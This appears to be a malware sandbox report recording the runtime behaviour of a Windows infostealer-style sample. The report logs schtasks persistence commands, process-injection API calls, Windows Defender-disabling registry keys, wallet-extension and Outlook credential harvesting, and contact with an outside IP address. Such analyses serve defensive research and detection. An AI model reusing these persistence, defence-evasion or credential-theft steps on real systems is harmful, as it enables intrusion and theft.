file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\pdadjkfkgcafgbceimcpbkalnfnepbnk
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fdjamakpfbbddfjaooikfcpapjohcfmg
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hmeobnfnfcmdkdcmlblgagmfpfboieaf
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\lpilbniiabackdjcionkobglmddfbcjo
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhilaheimglignddkjgofkcbgekhenbh
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbml
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghpathoadd

Creates executable files on the filesystem (7 events)

file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\7Vy1py29.exe
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\6Hu0MY8.exe
file	C:\Users\test22\AppData\Local\Temp\0PtOMLAJU3qJXB0.exe
file	C:\Users\test22\AppData\Local\Temp\is64.bat
file	C:\Users\test22\AppData\Local\Temp\AY0YTBvrrjv3UE5l.dll
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\tB5yY48.exe
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\1av35YR0.exe

Creates a suspicious process (2 events)

cmdline	schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\0PtOMLAJU3qJXB0.exe" /tn "\WindowsAppPool\0PtOMLAJU3qJXB0"
cmdline	/c schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\0PtOMLAJU3qJXB0.exe" /tn "\WindowsAppPool\0PtOMLAJU3qJXB0"

Drops a binary and executes it (2 events)

file	C:\Users\test22\AppData\Local\Temp\0PtOMLAJU3qJXB0.exe
file	C:\Users\test22\AppData\Local\Temp\is64.bat

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\0PtOMLAJU3qJXB0.exe

A process created a hidden window (3 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Nov. 9, 2023, 7:48 a.m.	thread_identifier: 2920 thread_handle: 0x000002f8 process_identifier: 2916 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\0PtOMLAJU3qJXB0.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\0PtOMLAJU3qJXB0.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x000002fc	1	1
CreateProcessInternalW Nov. 9, 2023, 7:48 a.m.	thread_identifier: 2956 thread_handle: 0x00000304 process_identifier: 2952 current_directory: filepath: C:\Windows\System32\cmd.exe track: 1 command_line: /c schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\0PtOMLAJU3qJXB0.exe" /tn "\WindowsAppPool\0PtOMLAJU3qJXB0" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x00000300	1	1
ShellExecuteExW Nov. 9, 2023, 7:48 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\is64.bat parameters: filepath: C:\Users\test22\AppData\Local\Temp\is64.bat	1	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x00063400', u'virtual_address': u'0x0000c000', u'entropy': 7.835765894052887, u'name': u'.rsrc', u'virtual_size': u'0x00064000'}

entropy

7.83576589405

description

A section with a high entropy has been found

entropy

0.924330616997

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Nov. 9, 2023, 7:48 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (26 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\0PtOMLAJU3qJXB0.exe" /tn "\WindowsAppPool\0PtOMLAJU3qJXB0"
cmdline	/c schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\0PtOMLAJU3qJXB0.exe" /tn "\WindowsAppPool\0PtOMLAJU3qJXB0"

Communicates with host for which no DNS query was performed (1 event)

host

193.233.255.73

Creates an Alternate Data Stream (ADS) (1 event)

file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\echo:1

Allocates execute permission to another process indicative of possible code injection (2 events)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2188 region_size: 208896 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000120	1	0	0
NtAllocateVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 region_size: 40960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000120	1	0	0

Attempts to stop active services (2 events)

Time & API	Arguments	Status	Return	Repeated
ControlService Nov. 9, 2023, 7:48 a.m.	service_handle: 0x005429e0 service_name: WinDefend control_code: 1		0	0
ControlService Nov. 9, 2023, 7:48 a.m.	service_handle: 0x00550a18 service_name: wuauserv control_code: 1		0	0

Installs itself for autorun at Windows startup (4 events)

reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP000.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP001.TMP\"
cmdline	schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\0PtOMLAJU3qJXB0.exe" /tn "\WindowsAppPool\0PtOMLAJU3qJXB0"
cmdline	/c schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\0PtOMLAJU3qJXB0.exe" /tn "\WindowsAppPool\0PtOMLAJU3qJXB0"

Attempts to disable Windows Auto Updates (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\NoAutoUpdate

Potential code injection by writing to the memory of another process (8 events)

Time & API	Arguments	Status	Return
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $à ¤ÿmY¤ÿmY¤ÿmYwnX¨ÿmYwhX2ÿmYwiX°ÿmYY¦ÿmYhXÿmYiXµÿmYnX°ÿmYwlX§ÿmY¤ÿlYðÿmY°dX´ÿmY°Y¥ÿmY°oX¥ÿmYRich¤ÿmYPELÍHeà$ºA@@0@L(ààðô0à @@.textô) `.rdataxa@b.@@.dataH#°@À.rsrcàà@@.relocô0ð2 @B base_address: 0x00400000 process_identifier: 2188 process_handle: 0x00000120	1	1
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: ÿÿÿÿ±¿DNæ@»ÿÿÿÿ ÿÿÿÿ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ¤`y!¦ß¡¥àü@~ü¨Á£Ú£ þ@þµÁ£Ú£ þAþ¶Ï¢ä¢å¢è¢[þ@~¡þQQÚ^Ú _ÚjÚ2ÓØÞàù1~þZB@¶B@¶B@¶B@¶B@¶BH¶B]B^BÈTBµB`°BC¶B(ÇB(ÇB(ÇB(ÇB(ÇB(ÇB(ÇB(ÇB(ÇB¶B,ÇB,ÇB,ÇB,ÇB,ÇB,ÇB,ÇB..þÿÿÿ þÿÿÿuLÓôk§cßÜÆí&XÔi¾üørÕ ²l¢-µsõ^}xFÝz§ÁÆ¯µ{*C]}u¸ØwÉÇiíÖ(õ[!¼h¬=Ð)ÄI\íAÙU$þ6fyôKÈ\|`@óém0Ø8v¶¤.~%âïÇ¨ÎÝ$}DÜHYØÃWæ\ÃsS?½ïGmhO3Jê¹§)ûäa/§tR¡AºÕÿê4ÿÿ° Kñ9ãÉD}E/BçGüÜgnÅÚ9ô3/çÀ4è± ßKÎóÎ3¸õxÏ´sÜz¸ãî¨7iÓUØ¶ÔHuç¢:J4Ðar0YÆA¾¼O1lKz²E½±íZJ2`Aà5²ÆÅz±0}K!tÌwþl¢T`Dñ(4UÕæ!Fæ@ÜDÔ&ÿ®\|iª¡ý-Vôü>ê;ÂxkßÀ#3J$UnT¸?µÝòg\ç4&Ú3\|Fuw¤e«ãè £èn¢±>v5å.góFÃ\|,¡9UF~£ÇÖ¡.]PÓ0ÿoÚLåÂÆC°âæêÁ'=`SËJ¤øÒ´B\|×°'ëQ(÷«¹yl)2Ô;<÷Fýä@ÊZ%×ïÅÈÄ,Qñ´=Ï£¥£PöaS;qî.Øy´}R¤à1ÔwxS±¢ RðÈ/½î5~èÛSôÆ§S½ÜÁÙ`É5Utàô¶oý«õ`6¡âòí¦a:Æ¦m!Åcà}²{îa¯Mme®2@¾@£xbÈ^¥i>JÃå)¤±JõòÓÂ3²ÝÞo<BNPòÁbVlÎ_%Ïòrøß>Ûãù´s·äîu±ü¿c\£RôKêüM¡³¾n>÷D»5Öèõ\|9!! ÊrjH«·öã^4Ì»¢ûö©[{ ÁáâàÜxÅbýD^W·Ñà§ÃêAu»vÂiâ7ÎÕèç~¨±+¹±¼ôà~\| yì8Eõ¾¹?äµ÷¼F+>`V\|B.?AVbad_exception@std@@\|B.?AVexception@std@@\|B.?AVtype_info@@ base_address: 0x0042b000 process_identifier: 2188 process_handle: 0x00000120	1	1
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: 0 H`à}<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x0042e000 process_identifier: 2188 process_handle: 0x00000120	1	1
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2188 process_handle: 0x00000120	1	1
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL¡$eà"0$þB `@ `¬BO`tA H.text# $ `.rsrc`&@@.reloc,@B base_address: 0x00400000 process_identifier: 2376 process_handle: 0x00000120	1	1
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: P8h`4VS_VERSION_INFO½ïþ?DVarFileInfo$Translation°lStringFileInfoH000004b0Comments"CompanyName6FileDescriptionoffDef0FileVersion1.0.0.06InternalNameoffDef.exeHLegalCopyrightCopyright © 2023*LegalTrademarks>OriginalFilenameoffDef.exe.ProductNameoffDef4ProductVersion1.0.0.08Assembly Version1.0.0.0¬cêï»¿<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x00406000 process_identifier: 2376 process_handle: 0x00000120	1	1
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: @3 base_address: 0x00408000 process_identifier: 2376 process_handle: 0x00000120	1	1
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2376 process_handle: 0x00000120	1	1

Code injection by writing an executable or DLL to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $à ¤ÿmY¤ÿmY¤ÿmYwnX¨ÿmYwhX2ÿmYwiX°ÿmYY¦ÿmYhXÿmYiXµÿmYnX°ÿmYwlX§ÿmY¤ÿlYðÿmY°dX´ÿmY°Y¥ÿmY°oX¥ÿmYRich¤ÿmYPELÍHeà$ºA@@0@L(ààðô0à @@.textô) `.rdataxa@b.@@.dataH#°@À.rsrcàà@@.relocô0ð2 @B base_address: 0x00400000 process_identifier: 2188 process_handle: 0x00000120	1	1	0
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL¡$eà"0$þB `@ `¬BO`tA H.text# $ `.rsrc`&@@.reloc,@B base_address: 0x00400000 process_identifier: 2376 process_handle: 0x00000120	1	1	0

Harvests credentials from local email clients (1 event)

registry

HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\Email

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2132 called NtSetContextThread to modify thread in remote process 2188
Process injection	Process 2296 called NtSetContextThread to modify thread in remote process 2376
NtSetContextThread Nov. 9, 2023, 7:48 a.m.	registers.eip: 2005598660 registers.esp: 3799724 registers.edi: 0 registers.eax: 4198977 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000011c process_identifier: 2188	1	0	0
NtSetContextThread Nov. 9, 2023, 7:48 a.m.	registers.eip: 2005598660 registers.esp: 1702020 registers.edi: 0 registers.eax: 4211454 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000011c process_identifier: 2376	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (6 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2132 resumed a thread in remote process 2188
Process injection	Process 2296 resumed a thread in remote process 2376
Process injection	Process 2512 resumed a thread in remote process 2616
NtResumeThread Nov. 9, 2023, 7:48 a.m.	thread_handle: 0x0000011c suspend_count: 1 process_identifier: 2188	1	0	0
NtResumeThread Nov. 9, 2023, 7:48 a.m.	thread_handle: 0x0000011c suspend_count: 1 process_identifier: 2376	1	0	0
NtResumeThread Nov. 9, 2023, 7:48 a.m.	thread_handle: 0x000002c8 suspend_count: 1 process_identifier: 2616	1	0	0

Disables Windows Security features (6 events)

description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection

Executed a process and injected code into it, probably while unpacking (35 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Nov. 9, 2023, 7:48 a.m.	thread_identifier: 2052 thread_handle: 0x0000001c process_identifier: 444 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP000.TMP\tB5yY48.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x00000128	1	1
CreateProcessInternalW Nov. 9, 2023, 7:48 a.m.	thread_identifier: 2516 thread_handle: 0x00000128 process_identifier: 2512 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP000.TMP\7Vy1py29.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x0000001c	1	1
CreateProcessInternalW Nov. 9, 2023, 7:48 a.m.	thread_identifier: 2136 thread_handle: 0x0000001c process_identifier: 2132 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP001.TMP\1av35YR0.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x00000128	1	1
CreateProcessInternalW Nov. 9, 2023, 7:48 a.m.	thread_identifier: 2300 thread_handle: 0x00000128 process_identifier: 2296 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP001.TMP\6Hu0MY8.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x0000001c	1	1
CreateProcessInternalW Nov. 9, 2023, 7:48 a.m.	thread_identifier: 2192 thread_handle: 0x0000011c process_identifier: 2188 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000120	1	1
NtGetContextThread Nov. 9, 2023, 7:48 a.m.	thread_handle: 0x0000011c	1	0
NtAllocateVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2188 region_size: 208896 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000120	1	0
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $à ¤ÿmY¤ÿmY¤ÿmYwnX¨ÿmYwhX2ÿmYwiX°ÿmYY¦ÿmYhXÿmYiXµÿmYnX°ÿmYwlX§ÿmY¤ÿlYðÿmY°dX´ÿmY°Y¥ÿmY°oX¥ÿmYRich¤ÿmYPELÍHeà$ºA@@0@L(ààðô0à @@.textô) `.rdataxa@b.@@.dataH#°@À.rsrcàà@@.relocô0ð2 @B base_address: 0x00400000 process_identifier: 2188 process_handle: 0x00000120	1	1
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: base_address: 0x00401000 process_identifier: 2188 process_handle: 0x00000120	1	1
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: base_address: 0x00424000 process_identifier: 2188 process_handle: 0x00000120	1	1
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: ÿÿÿÿ±¿DNæ@»ÿÿÿÿ ÿÿÿÿ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ¤`y!¦ß¡¥àü@~ü¨Á£Ú£ þ@þµÁ£Ú£ þAþ¶Ï¢ä¢å¢è¢[þ@~¡þQQÚ^Ú _ÚjÚ2ÓØÞàù1~þZB@¶B@¶B@¶B@¶B@¶BH¶B]B^BÈTBµB`°BC¶B(ÇB(ÇB(ÇB(ÇB(ÇB(ÇB(ÇB(ÇB(ÇB¶B,ÇB,ÇB,ÇB,ÇB,ÇB,ÇB,ÇB..þÿÿÿ þÿÿÿuLÓôk§cßÜÆí&XÔi¾üørÕ ²l¢-µsõ^}xFÝz§ÁÆ¯µ{*C]}u¸ØwÉÇiíÖ(õ[!¼h¬=Ð)ÄI\íAÙU$þ6fyôKÈ\|`@óém0Ø8v¶¤.~%âïÇ¨ÎÝ$}DÜHYØÃWæ\ÃsS?½ïGmhO3Jê¹§)ûäa/§tR¡AºÕÿê4ÿÿ° Kñ9ãÉD}E/BçGüÜgnÅÚ9ô3/çÀ4è± ßKÎóÎ3¸õxÏ´sÜz¸ãî¨7iÓUØ¶ÔHuç¢:J4Ðar0YÆA¾¼O1lKz²E½±íZJ2`Aà5²ÆÅz±0}K!tÌwþl¢T`Dñ(4UÕæ!Fæ@ÜDÔ&ÿ®\|iª¡ý-Vôü>ê;ÂxkßÀ#3J$UnT¸?µÝòg\ç4&Ú3\|Fuw¤e«ãè £èn¢±>v5å.góFÃ\|,¡9UF~£ÇÖ¡.]PÓ0ÿoÚLåÂÆC°âæêÁ'=`SËJ¤øÒ´B\|×°'ëQ(÷«¹yl)2Ô;<÷Fýä@ÊZ%×ïÅÈÄ,Qñ´=Ï£¥£PöaS;qî.Øy´}R¤à1ÔwxS±¢ RðÈ/½î5~èÛSôÆ§S½ÜÁÙ`É5Utàô¶oý«õ`6¡âòí¦a:Æ¦m!Åcà}²{îa¯Mme®2@¾@£xbÈ^¥i>JÃå)¤±JõòÓÂ3²ÝÞo<BNPòÁbVlÎ_%Ïòrøß>Ûãù´s·äîu±ü¿c\£RôKêüM¡³¾n>÷D»5Öèõ\|9!! ÊrjH«·öã^4Ì»¢ûö©[{ ÁáâàÜxÅbýD^W·Ñà§ÃêAu»vÂiâ7ÎÕèç~¨±+¹±¼ôà~\| yì8Eõ¾¹?äµ÷¼F+>`V\|B.?AVbad_exception@std@@\|B.?AVexception@std@@\|B.?AVtype_info@@ base_address: 0x0042b000 process_identifier: 2188 process_handle: 0x00000120	1	1
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: 0 H`à}<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x0042e000 process_identifier: 2188 process_handle: 0x00000120	1	1
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: base_address: 0x0042f000 process_identifier: 2188 process_handle: 0x00000120	1	1
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2188 process_handle: 0x00000120	1	1
NtSetContextThread Nov. 9, 2023, 7:48 a.m.	registers.eip: 2005598660 registers.esp: 3799724 registers.edi: 0 registers.eax: 4198977 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000011c process_identifier: 2188	1	0
NtResumeThread Nov. 9, 2023, 7:48 a.m.	thread_handle: 0x0000011c suspend_count: 1 process_identifier: 2188	1	0
CreateProcessInternalW Nov. 9, 2023, 7:48 a.m.	thread_identifier: 2920 thread_handle: 0x000002f8 process_identifier: 2916 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\0PtOMLAJU3qJXB0.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\0PtOMLAJU3qJXB0.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x000002fc	1	1
CreateProcessInternalW Nov. 9, 2023, 7:48 a.m.	thread_identifier: 2956 thread_handle: 0x00000304 process_identifier: 2952 current_directory: filepath: C:\Windows\System32\cmd.exe track: 1 command_line: /c schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\0PtOMLAJU3qJXB0.exe" /tn "\WindowsAppPool\0PtOMLAJU3qJXB0" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x00000300	1	1
CreateProcessInternalW Nov. 9, 2023, 7:48 a.m.	thread_identifier: 2380 thread_handle: 0x0000011c process_identifier: 2376 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000120	1	1
NtGetContextThread Nov. 9, 2023, 7:48 a.m.	thread_handle: 0x0000011c	1	0
NtAllocateVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 region_size: 40960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000120	1	0
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL¡$eà"0$þB `@ `¬BO`tA H.text# $ `.rsrc`&@@.reloc,@B base_address: 0x00400000 process_identifier: 2376 process_handle: 0x00000120	1	1
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: base_address: 0x00402000 process_identifier: 2376 process_handle: 0x00000120	1	1
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: P8h`4VS_VERSION_INFO½ïþ?DVarFileInfo$Translation°lStringFileInfoH000004b0Comments"CompanyName6FileDescriptionoffDef0FileVersion1.0.0.06InternalNameoffDef.exeHLegalCopyrightCopyright © 2023*LegalTrademarks>OriginalFilenameoffDef.exe.ProductNameoffDef4ProductVersion1.0.0.08Assembly Version1.0.0.0¬cêï»¿<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x00406000 process_identifier: 2376 process_handle: 0x00000120	1	1
